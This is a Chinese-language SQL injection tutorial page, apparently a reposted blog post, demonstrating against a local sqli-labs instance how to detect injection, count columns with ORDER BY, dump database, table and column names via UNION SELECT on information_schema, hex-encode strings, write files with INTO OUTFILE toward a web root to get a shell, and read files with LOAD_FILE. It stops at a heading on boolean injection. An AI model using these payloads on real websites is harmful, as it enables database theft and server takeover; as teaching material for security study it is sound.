mysql延时注入 | 您所在的位置:网站首页 › sql注入中常用的延时函数有哪些 › mysql延时注入 |
各位扥扥早! 好了废话不多说了,如果有用请转发出去。 可关注公众号,明天继续分享SQL注入SQL注入理解 1. 定义/类型定义:简单来说,当客户端提交的数据未做处理或转义直接带入数据库就造成了SQL注入。 注入类型分为:1. 整型(没有单双引号)2. 字符串(有单双引号)3. 其他细分的类型本质上就是整型和字符串的区别 2.联合注入判断整型注入还是字符型注入 and 1=2 //页面正常-->不是整型注入id=1' //加单引号,页面不正常,字符型注入--+ 将后面的语句注释掉,页面正常,判断为单引号注入获取字段总数 ‘ order by 3 --+ group by 3 //判断字段总数是否>=3 union连接查询(字段必须和表格字段总数相符) select * from admin where id=1 union select 1,1,1; //union select 字段,字段,字段 select username,password from admin where id=1 union select 1,1; //union前后字段对应 获取数据库信息 http://127.0.0.1/sqli-labs/Less-1/?id=861' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+ mysql> select *from admin where username='hello' union select 1,database(); +----------+----------+ | username | password | +----------+----------+ | hello | 123 | | 1 | sqltest | +----------+----------+//sqltest为数据库名称数据库版本version(),查看当前用户user() 爆破数据库名称 爆破数据库表 http://127.0.0.1/sqli-labs/Less-1/?id=861' union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables where table_schema='security')--+union select 字段,字段,Table_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,1 爆破字段名 select group_concat(column_name) from information_schema.columns where table_name='users' select *from admin where 1=1 union select 1,Table_NAME from information_schema.TABLES where TABLE_SCHEMA='sqltest';//信息点:数据库名和数据库中的表名select COLUMN_NAME from information_schema.COLUMNS where Table_NAME='admin';//已知表名找字段名获取字段下一条 limit 1,1最后已知字段和表名就可以获取内容啦!but,要是不能输入单引号或者双引号呢?'admin' ====> 0x61646d696e(ASCIIhex) 3.导出数据库别名拿shell导出数据库 select 内容 into outfile '路径';//路径的文件要不存在才能自动创建,路径也可以是网址,比如说phpstudy里的WWWselect *from admin into outfile 'D:/1.sql';//文件内容是表格的数据select 'hello' into outfile 'd:/2.sql';//文件内容就是‘hello’读文件 select load_file('e:/1.txt');//注意路径要加引号,文件要具有可读性(即权限)html的锚点 不能直接使用#注释符,转为html的编码%23;不用注释符闭合单引号的话,用 where '1'='1 4.布尔注入 |
CopyRight 2018-2019 实验室设备网 版权所有 |